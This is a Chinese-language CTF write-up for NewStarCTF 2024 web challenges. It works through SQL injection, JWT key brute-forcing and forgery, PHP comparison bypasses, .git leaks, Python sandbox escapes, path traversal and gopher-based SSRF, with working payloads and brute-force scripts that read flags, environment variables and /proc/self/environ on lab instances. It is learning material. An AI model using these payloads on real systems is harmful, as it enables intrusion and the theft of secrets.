链接 newstarCTF 2024
谢谢皮蛋 由于页面只能显示1条信息,因此一开始的id要设置为-1,这样就不会在原始数据库查询了(查不到了)
之后就是正常的利用union来查库名 表名 列名即可
PangBai 过家家(1) 学到了不少东西
一开始用的hackbar发包,到第五关卡住了,于是改用了burpsuite发包
从get改到post方法漏东西了,导致一直发不成功了
POST 的查询类型有很多种,通过 HTTP 报文中的 Content-Type 指定,以告诉服务端用何种方式解析报文 Body 的内容。 Content-Type 描述 application/x-www-form-urlencoded 和 GET 查询字段的写法一样,开头不需要 ?,用 & 符号连接各查询参数,遇到特殊字符需要进行转义。 application/json Body 给出一个 JSON 格式的数据,服务端会解析它。 multipart/form-data 表单字段,一般用于有文件等复杂类型的场景。 我们可以用任意方式,那么我们选择用 application/x-www-form-urlencoded 发送个 say=hello 的请求包即可。
在发包报文那里任意位置添加项目
Content-Type: application/x-www-form-urlencoded
即可
另外还有个事情
如果使用 HackBar 插件,请在 Modify Header 一栏中删除 Cookie 字段(删除后会自动采用浏览器当前的 Cookie),或者请手动更新该字段。因为 Cookie 携带着关卡信息,如果不更新该值,将永远停留在同一关。
第5关要求用patch方法发一个包
这一关是相对较难的一关,浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。
关于 multipart/form-data
这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含 boundary 界定符的相关内容,可能引起误解,那么可以通过修改 boundary 以规避碰撞情况(因此浏览器发送 mulipart/form-data 的表单时,boundary 往往有很长的 -- 并且包含一些长的随机字符串。
发包内容
PATCH /?ask=miao HTTP/1.1 Host : 8.147.132.32:36002User-Agent : Papa/1.0Content-Type : multipart/form-data; boundary=abcCookie : token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0Content-Length : 168Content-Disposition: form-data; name ="file"; filename="1.zip" 123 Content-Disposition: form-data; name ="say" 玛卡巴卡阿卡哇卡米卡玛卡呣
其中”123”正是1.zip的内容
第6关要求让服务器认为这是一个来自本地的请求。
可以通过设置 Host X-Real-IP X-Forwarded-For Referer 等标头欺骗服务器。
GET /?ask=miao HTTP/1.1 Host: localhost Referer: http://localhost Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
GET /?ask=miao HTTP/1.1 Host: 8.147.132.32:36002 X-Real-IP: 127.0.0.1 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
GET /?ask=miao HTTP/1.1 Host: 8.147.132.32:36002 X-Forwarded-For: 127.0.0.1 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6Nn0.SlKAeN5yYDF9YaHrUMifhYSrilyjPwd2_Yrywq9ff1Y
之后就是JWT
JWT 全称是 JSON Web Token ,是一种基于 JSON 的开放标准(RFC 7519),用于在网络应用环境间以紧凑 、URL 安全 的方式传递信息,常用于**身份验证(Authentication)**和**授权(Authorization)**。
JWT 通常由三部分组成,用 . 分隔:
第一个部分和第二部分都是base64编码的结果,第三部分是通过一个密钥外加前面的内容签名生成的,因此要伪造jwt必须要知道密钥
最后一关告诉了我们密钥,之后我们在payload里面改level为0即可。
遗失的拉链 dirsearch扫目录,扫到www.zip
下载下来打开
<?php error_reporting (0 );if (isset ($_GET ['new' ])&&isset ($_POST ['star' ])){ if (sha1 ($_GET ['new' ])===md5 ($_POST ['star' ])&&$_GET ['new' ]!==$_POST ['star' ]){ $cmd = $_POST ['cmd' ]; if (preg_match ("/cat|flag/i" , $cmd )) { die ("u can not do this " ); } echo eval ($cmd ); }else { echo "Wrong" ; } }
可以让new 和star都是数组,这样sha1和md5返回都是null也就相等了。
preg_match(“/cat|flag/i”, $cmd)意思是不能出现cat和flag
可以
/fla*``` 这个样子
http://127.0.0.1:9859/pizwww.php?new[]=1
star[]=2&&cmd=system(“tac /f*”);
# Pangbai 过家家(2) .git泄露 一开始用dirsearch扫,扫到.git了,网上找如何git泄漏,一开始用的githack结果发现怎么都用不了。 wp用的是githacker ```sh pip install githacker
然后
githacker -url http://127.0.0.1:16475/.git/ --output-folder .
就可以把源码泄漏出来了
可以查看stash
查看到了backdoor
之后可以
这里就能找到保存的未被提交的后门文件
查看源码,之后经过一系列的绕过
payload
http://127.0.0.1:16475/BacKd0or.vubjeVv3GZwDWHK3.php/?NewStar[CTF.2024=Welcome%0a args=env | grep FLAG&func=system&papa=doKcdnEOANVB
if ($_POST ['papa' ] !== 'doKcdnEOANVB' ) { show_backdoor (); } else if ($_GET ['NewStar_CTF.2024' ] !== 'Welcome' && preg_match ('/^Welcome$/' , $_GET ['NewStar_CTF.2024' ])) { print_msg ('PangBai loves you!' ); call_user_func ($_POST ['func' ], $_POST ['args' ]); } else { print_msg ('PangBai hates you!' ); }
对于这个表达式,可以使用换行符绕过。preg_match 默认为单行模式(此时 . 会匹配换行符),但在 PHP 中的该模式下,$ 除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。 但如果直接传参 NewStar_CTF.2024=Welcome%0A 会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024. 在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符了因此,GET 传参 NewStar[CTF.2024=Welcome%0a 即可,随后传入 call_user_func 的参数即可。
一个是使用[替换_ 之后.就可以正常使用,一个是php里面$可以匹配换行符%0a
臭皮的计算机 有个waf函数
def waf (s ): token = True for i in s: if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" : token = False break return token
不能输入英文
但是可以使用全角英文
方法:
__import__(chr(111 )+chr(115 )).system(chr(99 )+chr(97 )+chr(116 )+chr(32 )+chr(47 )+chr(102 )+chr(108 )+chr(97 )+chr(103 ))
其中所有英文字母都是全角英文,除英文字母外使用半角字符和数字(import两边可以都是半角,可以一半一全,但不可以都是全角)
最终效果就是
__import__ (os).system('cat /flag' )
这照片是你吗 提示说
没有apache和nginx,提示的意思是路由的处理方式很可能是统一由某个服务框架(如 Express、Flask、FastAPI、Django 等)处理的,而不是交给专门的 web 服务器分发静态资源 ;
可能存在路径穿越漏洞和任意文件读取。
可以使用../进行测试,但是不要使用浏览器测试,可以使用burpsuite。
浏览器会根据 URL 规范自动对路径做调整,包括:
解析和简化路径中的 .(当前目录)和 ..(上级目录)部分。
去除多余的斜杠 /。
防止访问父目录导致跨越网站根目录(路径穿越)。
使用burpsuite发包
GET /../app.py HTTP/1.1 Host : 127.0.0.1:32655sec-ch-ua : "Not.A/Brand";v="99", "Chromium";v="136"sec-ch-ua-mobile : ?0sec-ch-ua-platform : "Windows"Accept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentAccept-Encoding : gzip, deflate, brConnection : keep-alive
可以得到app.py源码
from flask import Flask, make_response, render_template_string, request, redirect, send_fileimport uuidimport jwtimport timeimport osimport requestsfrom flag import get_random_number_stringbase_key = str (uuid.uuid4()).split("-" ) secret_key = get_random_number_string(6 ) admin_pass = "" .join([ _ for _ in base_key]) print (admin_pass)app = Flask(__name__) failure_count = 0 users = { 'admin' : admin_pass, 'amiya' : "114514" } def verify_token (token ): try : global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) if data.get('user' ) != 'admin' : failure_count += 1 return make_response("You are not admin!<br><img src='/3.png'>" , 403 ) except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 ) return True @app.route('/' ) def index (): return redirect("/home" ) @app.route('/login' , methods=['POST' ] ) def login (): username = request.form['username' ] password = request.form['password' ] global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) if users.get(username)==password: token = jwt.encode({'user' : username, 'exp' : int (time.time()) + 600 }, secret_key) response = make_response('Login success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , token) return response else : failure_count += 1 return make_response('Could not verify!<br><img src="/3.png">' , 401 ) @app.route('/logout' ) def logout (): response = make_response('Logout success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , '' , expires=0 ) return response @app.route('/home' ) def home (): logged_in = False try : token = request.cookies.get('token' ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) text = "Hello, %s!" % data.get('user' ) logged_in = True except : logged_in = False text = "You have not logged in!" data = {} return render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Home Page</title> </head> <body> <!-- 图标能够正常显示耶! --> <!-- 但是我好像没有看到Nginx或者Apache之类的东西 --> <!-- 说明服务器脚本能够处理静态文件捏 --> <!-- 那源码是不是可以用某些办法拿到呢! --> {{ text }}<br> {% if logged_in %} <a href="/logout">登出</a> {% else %} <h2>登录</h2> <form action="/login" method="post"> 用户名: <input type="text" name="username"><br> 密码: <input type="password" name="password"><br> <input type="submit" value="登录"> </form> {% endif %} <br> {% if user=="admin" %} <a href="/admin">Go to admin panel</a> <img src="/2.png"> {% else %} <img src="/1.png"> {% endif %} </body> </html> ''' , text=text, logged_in=logged_in, user=data.get('user' ))@app.route('/admin' ) def admin (): try : token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) resp_text = render_template_string(r''' <!DOCTYPE html> <html> <head> <title>Admin Panel</title> </head> <body> <h1>Admin Panel</h1> <p>GET Server Info from api:</p> <input type="input" value={{api_url}} id="api" readonly> <button onclick=execute()>Execute</button> <script> function execute() { fetch("{{url}}/execute?api_address="+document.getElementById("api").value, {credentials: "include"} ).then(res => res.text()).then(data => { document.write(data); }); } </script> </body> </html> ''' , api_url=request.host_url+"/api" , url=request.host_url) resp = make_response(resp_text) resp.headers['Access-Control-Allow-Credentials' ] = 'true' return resp except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 ) @app.route('/execute' ) def execute (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) api_address = request.args.get("api_address" ) if not api_address: return make_response("No api address!" , 400 ) response = requests.get(api_address, cookies={'token' : token}) return response.text @app.route("/api" ) def api (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) resp = make_response(f"Server Info: {os.popen('uname -a' ).read()} " ) resp.headers['Access-Control-Allow-Credentials' ] = 'true' return resp @app.route("/<path:file>" ) def static_file (file ): print (file) restricted_keywords = ["proc" , "env" , "passwd" , "shadow" , "hosts" , "sys" , "log" , "etc" , "bin" , "lib" , "tmp" , "var" , "run" , "dev" , "home" , "boot" ] if any (keyword in file for keyword in restricted_keywords): return make_response("STOP!" , 404 ) if not os.path.exists("./static/" + file): return make_response("Not found!" , 404 ) return send_file("./static/" + file) if __name__ == '__main__' : app.run(host="0.0.0.0" ,port=5000 )
几个关键点:
from flag import get_random_number_stringbase_key = str (uuid.uuid4()).split("-" ) secret_key = get_random_number_string(6 ) admin_pass = "" .join([ _ for _ in base_key]) users = { 'admin' : admin_pass, 'amiya' : "114514" }
admin_pass是不可知的,secret_key是随机6位数字字符串
def verify_token (token ): try : global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) if data.get('user' ) != 'admin' : failure_count += 1 return make_response("You are not admin!<br><img src='/3.png'>" , 403 ) except : return make_response("Token is invalid!<br><img src='/3.png'>" , 401 ) return True
验证token的函数,要求user要等于admin,而且不允许爆破
@app.route('/login' , methods=['POST' ] ) def login (): username = request.form['username' ] password = request.form['password' ] global failure_count if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) if users.get(username)==password: token = jwt.encode({'user' : username, 'exp' : int (time.time()) + 600 }, secret_key) response = make_response('Login success!<br><a href="/home">Go to homepage</a>' ) response.set_cookie('token' , token) return response else : failure_count += 1 return make_response('Could not verify!<br><img src="/3.png">' , 401 )
users.get(username),从users中找是否有符合username的键,也就是说username必须是admin或者amiya。
password也必须是users表中的对应的值。
token = jwt.encode({'user' : username, 'exp' : int (time.time()) + 600 }, secret_key)
可以看到token构造是这样的,数据是{‘user’:username,’exp’:一个持续时间}
然后使用secret_key来作为密钥。
看到这里,我们就有一点思路了,首页的登录可以是users表中的数据,我们可以填amiya和114514来登录。
登录之后我们可以发现app.py源码中还有/admin路由,admin使用了verify_token函数作为验证token的函数。
而经过之前的verify_token函数分析,可知要求token得是admin。
我们可以利用之前的token来进行密钥的爆破。
import jwttoken = "your_token_here" for i in range (1000000 ): key = str (i).zfill(6 ) try : data = jwt.decode(token, key, algorithms=["HS256" ]) print (f"[+] Key found: {key} " ) print (f"[+] Payload: {data} " ) break except jwt.exceptions.InvalidSignatureError: continue
可以很容易爆破出secret_key,之后可以伪造token
import jwtimport timekey = "690885" payload = { "user" : "admin" , "exp" : int (time.time()) + 3600 } token = jwt.encode(payload, key, algorithm="HS256" ) print ("[+] JWT Token:" , token)
之后把生成的token放进hackbar就可以登录admin了。
登录admin之后发现有execute功能
@app.route('/execute' ) def execute (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) api_address = request.args.get("api_address" ) if not api_address: return make_response("No api address!" , 400 ) response = requests.get(api_address, cookies={'token' : token}) return response.text
有句很关键的代码
response = requests.get(api_address, cookies={'token' : token})
存在ssrf漏洞
SSRF(Server-Side Request Forgery ,服务器端请求伪造 )是一种网络攻击方式。攻击者通过构造请求,诱导目标服务器去访问攻击者指定的地址。攻击的关键是:不是你的浏览器发请求,而是服务器替你发请求 。
之后我想通过这个ssrf来访问根目录下的/flag,结果发现一直不行,怎么尝试都显示not found
可能是因为根目录下根本没有flag(如果有的话是不是可以在第一部路径穿越的时候就获取??)
我们在app.py的代码中可以看到
from flag import get_random_number_string
也就是说app.py同目录下还有flag.py
可以利用路径穿越漏洞来获取flag.py源码
from flask import Flaskimport osimport randomdef get_random_number_string (length ): return '' .join([str (random.randint(0 , 9 )) for _ in range (length)]) get_flag = Flask("get_flag" ) FLAG = os.environ.pop("ICQ_FLAG" , "flag{test_flag}" ) @get_flag.route("/fl4g" ) def flag (): return FLAG if __name__ == "__main__" : get_flag.run(host="127.0.0.1" ,port=5001 )
在本地开启了一个5001端口,我们刚好可以利用ssrf来访问这个fl4g
在hackbar中构造
http://127.0.0.1:32655/execute?api_address=http://127.0.0.1:5001/fl4g
不要忘记cookie要伪造成token=…… (user是admin )的token
这样就能成功拿到flag了
臭皮踩踩背 python的简单沙箱逃逸
你被豌豆关在一个监狱里,,,,,, 豌豆百密一疏,不小心遗漏了一些东西,,, def ev4l (*args ): print (secret) inp = input ("> " ) f = lambda : None print (eval (inp, {"__builtins__" : None , 'f' : f, 'eval' : ev4l}))能不能逃出去给豌豆踩踩背就看你自己了,臭皮,, >
eval实际上有两个参数,第一个参数就是要eval的字符串,第二个参数就是当前代码的globals,可以理解为全局变量,或者说上下文环境。
可以看到这里的globals设置成了{"__builtins__": None, 'f': f, 'eval': ev4l}
也就是说__builtins__是空了,很多函数都没法直接用了。
但是可以利用f,f.__globals__ 仍然可以访问正常的全局变量,之后就可以正常操作了
> f.__globals__['__builtins__' ].__import__ ('os' ).system('cat /flag' ) flag{neWStaR_ctf-Z0ZA2f765d6d13c9}
要注意的是,假如在这里使用了eval ,就需要手动设置一下globals,比如
f.__globals__['__builtins__' ].eval ( 'print(1)' , {"__builtins__" : f.__globals__['__builtins__' ]} )
因为如果不手动设置一下,globals还是None
https://www.cnblogs.com/conscience-remain/p/16991530.html
需要用到沙箱逃逸的时候再重新学一下
blindsql1 ban了很多东西
union ascii = / 等等
思路就是利用下面的语句:
http:/ / 127.0 .0 .1 :5007 / ?student_name= alice% 27 AND (ord(MID((SELECT (GROUP_CONCAT(schema_name))FROM (information_schema.schemata)),1 ,1 ))in (ord(% 27 i% 27 )))% 23 #
MID((SELECT (GROUP_CONCAT(schema_name))FROM (information_schema.schemata)),1 ,1 )
其中这句代码指的是,把(SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata))的结果从第一个字符开始算1个字符(也就是第一个字符)
ord(MID((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),1,1))in(ord(%27i%27))
然后取ord函数,得到ascii码,与i的ord比较,是否是i。
如果是i,就为真,response里的text就会有alice,用这个来判断是否正确。
之后就爆破,但是不知道是服务器的限制还是什么,跑了几十次就卡住了。
这里贴一下wp的代码
import requests,string,timeurl = '' result = '' for i in range (1 ,100 ): print (f'[+] Bruting at {i} ' ) for c in string.ascii_letters + string.digits + '_-{}' : time.sleep(0.2 ) print ('[+] Trying:' , c) tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))' char = f'(ord(mid({tables} ,{i} ,1)))' b = f'(({char} )in({ord (c)} ))' p = f'Alice\'and({b} )#' res = requests.get(url, params={'student_name' : p}) if 'Alice' in res.text: print ('[*]bingo:' ,c) result += c print (result) break
import requests,string,time url = '' result = '' for i in range(1,100): print(f'[+] Bruting at {i}') for c in string.ascii_letters + string.digits + ',_-{}': time.sleep(0.01) # 限制速率,防止请求过快 print('[+] Trying:', c) tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))' char = f'(ord(mid({tables},{i},1)))' # 爆破该 ascii 值 b = f'(({char})in({ord(c)}))' # 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据 p = f'Alice\'and({b})#' res = requests.get(url, params={'student_name': p}) if 'Alice' in res.text: print('[*]bingo:',c) result += c print(result) break
import requests,string,timeurl = '' result = '' for i in range (1 ,100 ): print (f'[+] Bruting at {i} ' ) for c in string.ascii_letters + string.digits + ',_-{}' : time.sleep(0.01 ) print ('[+] Trying:' , c) tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))' char = f'(ord(mid({tables} ,{i} ,1)))' b = f'(({char} )in({ord (c)} ))' p = f'Alice\'and({b} )#' res = requests.get(url, params={'student_name' : p}) if 'Alice' in res.text: print ('[*]bingo:' ,c) result += c print (result) break
下面是我用二分跑的代码
import requestsurl='http://127.0.0.1:11930/?student_name=alice\'' def response_1 (pos,mid ): c=chr (mid) while True : try : table=f'AND(ord(MID((SELECT(GROUP_CONCAT(secret_value))FROM(ctf.secrets)WHERE((secret_key)IN(\'flag\'))),{pos} ,1))IN(ord(\'{c} \')))%23#' url1=url+table response=requests.get(url1,timeout=0.4 ) if 'Alice' in response.text: print (f'yes! pos:{pos} c:{mid} ' ) return True else : print (f'no! pos:{pos} c:{mid} ' ) return False except requests.exceptions.RequestException as e: continue def response_2 (pos,mid ): c=chr (mid) while True : try : table=f'AND(ord(MID((SELECT(GROUP_CONCAT(secret_value))FROM(ctf.secrets)WHERE((secret_key)IN(\'flag\'))),{pos} ,1))>(ord(\'{c} \')))%23#' url1=url+table response=requests.get(url1,timeout=0.4 ) if 'Alice' in response.text: print (f'yes! pos:{pos} c>{mid} ' ) return True else : print (f'no! pos:{pos} c<={mid} ' ) return False except requests.exceptions.RequestException as e: continue def binary_search (pos ): left = 31 right = 127 while left <= right: mid = (left + right) // 2 if response_1(pos,mid): return mid elif response_2(pos,mid): left = mid + 1 else : right = mid - 1 return -1 str1='' for pos in range (1 ,100 ): target=binary_search(pos) str1+=chr (target) print (f'flag:{str1} ' ) print (len (str1))print (str1)
chocolate 前几步就是考察的php语言特性
<?php global $cocoaLiquor_star ;global $what_can_i_say ;include ("source.php" );highlight_file (__FILE__ );printf ("什么?想做巧克力? " );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="1337" ){ die ("可爱的捏" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("你干嘛" ); } if (!strpos ($num , "0" )){ die ("orz orz orz" ); } if (intval ($num ,0 )===1337 ){ print ("{$cocoaLiquor_star} \n" ); print ("{$what_can_i_say} \n" ); print ("牢师傅如此说到" ); } }
可以利用八进制进行绕过
payload:
http://127.0.0.1:24368/0ldStar.php?num=+02471
得到
// 可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到
下面是rot13,解码得到
the next level is : cocoaButter_star.php
第二步:
<?php global $cocoaButter_star ;global $next ;error_reporting (0 );include "source.php" ;$cat =$_GET ['cat' ];$dog =$_GET ['dog' ];if (is_array ($cat ) || is_array ($dog )){ die ("EZ" ); }else if ($cat !== $dog && md5 ($cat ) === md5 ($dog )){ print ("of course you konw" ); }else { show_source (__FILE__ ); die ("ohhh no~" ); } if (isset ($_POST ['moew' ])){ $miao = $_POST ['moew' ]; if ($miao == md5 ($miao )){ echo $cocoaButter_star ; } else { die ("qwq? how?" ); } } $next_level =$_POST ['wof' ];if (isset ($next_level ) && substr (md5 ($next_level ),0 ,5 )==='8031b' ){ echo $next ; }
有三小问
if (is_array ($cat ) || is_array ($dog )){ die ("EZ" ); }else if ($cat !== $dog && md5 ($cat ) === md5 ($dog )){
可以利用下面的来绕过
?cat=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&dog=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
可以利用
因为moew经过md5之后还是0e……的格式,因此可以绕过
if(isset($next_level) && substr(md5($next_level),0,5)==='8031b'){
可以爆破
import hashlibfor i in range (1 ,10000000 ): s=str (i) s=hashlib.md5(s.encode()).hexdigest() if s[:5 ]=='8031b' : print (s) print (i) print ("yes" ) print ("finish!" )
final.php最后的反序列化在其他内容提到了,绕过方法就是把chocolate任意一个字符改成大写即可。
之后需要爆破,但是我的爆破代码需要跑很久……
接近一小时了
import requestsimport timeurl="http://127.0.0.1:29785/verify.php" a=time.time() for i in range (1 ,1337033 ): power=str (i) data={ "cocoaButter" :"202409" , "cocoaLiquor" :"1337033" , "darkCocoaPowder" :"51540" , "powderedSugar" :power } while True : try : response=requests.post(url=url,data=data,timeout=0.5 ) if "好苦" in response.text: print (f'{i} :no!!!' ) break else : print (response.text) print (f'{i} :yes!!!' ) exit(0 ) except requests.exceptions.RequestException as e: continue b=time.time() b-=a print (f"time:{b} s" )
2041:no!!! <!DOCTYPE html > <html > <head > <title > 背景图片示例</title > </head > <body style ="background-image: url('choco.gif'); background-size: cover;" > 喵喵 这确实是巧克力!flag{NeW5tAr_ctf-2O2A10f6b08c71c2} bye 2042:yes!!!
ezcmsss 感觉像是一个正常的web题目
能直接下载到源码www.zip,wp说是首页源码有提示,结果我是用dirsearch扫出来的
源码是jizhicms的服务,start.sh能看到用户名和密码,并且提示了管理员用户接口admin.php
登录进去之后是管理员界面
网上可以搜到jizhicms在这个版本的文件上传漏洞
基本流程是这样的,使用文件上传可以上传一个压缩包,然后可以发包让控制服务器解压,这样就可以把我们的木马传上去
之后就正常得到flag
https://newstar.wiki/wp/2024/week4/web/ezcmsss.html
PangBai过家家(4) go语言模版注入
可以利用
来得到token的密钥,然后就可以伪造Papa用户的Cookie
之后注意到routeFavorite函数里面可以实现篡改sign文件路径,这样就可以任意文件读取了
我做到了这一步,想着可以使用burpsuite发包来实现,结果最后一直显示无法读取文件
看了wp之后才发现我遗漏的东西
requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":" )] fmt.Println("Request IP:" , requestIP) if requestIP != "127.0.0.1" && requestIP != "[::1]" { w.WriteHeader(http.StatusForbidden) w.Write([]byte ("Only localhost can access" )) return }
这段代码限制了只有本机才能访问
(但是我在使用burpsuite发包之后显示也成功篡改了,只是不能读取?按理来说连篡改都不能?我的回复报文相应的也是ok)
于是我们可以利用下面这个函数
func (c Helper) Curl(url string ) string { fmt.Println("Curl:" , url) cmd := exec.Command("curl" , "-fsSL" , "--" , url) _, err := cmd.CombinedOutput() if err != nil { fmt.Println("Error: curl:" , err) return "error" } return "ok" }
ssrf攻击
利用curl开启一个服务
{{.Curl "http://localhost:8000" }}
之后利用这个服务来发送PUT请求
首先构造PUT报文
PUT /favorite HTTP/1.1 Host : localhost:8000Content-Type : text/plainCookie : token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NTExMDI1MTgsInVzZXIiOiJQYXBhIn0.JuYmj3YXra_eO-ALk9O-_zoiGfNI8-Ip3sOtGK83WcAContent-Length : 18/proc /self /environ
然后使用cyberchef来编码并套上 Gopher 协议
{{.Curl "gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3NTExMDI1MTgsInVzZXIiOiJQYXBhIn0%2EJuYmj3YXra%5FeO%2DALk9O%2D%5FzoiGfNI8%2DIp3sOtGK83WcA%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron" }}
这样就成功篡改了
最后访问/favorite即可得到flag
blindsql2 注了一个小时注烦了
大概原理就是使用if语句,当真的时候sleep几秒,这样就能判断了
https://www.cnblogs.com/qiushuo/p/17485659.html
比如
http://localhost:8000/?student_name=alice%27and(if((select(count(table_name))from(information_schema.tables)where((table_schema)IN(database())))IN(3),sleep(3),1))%23#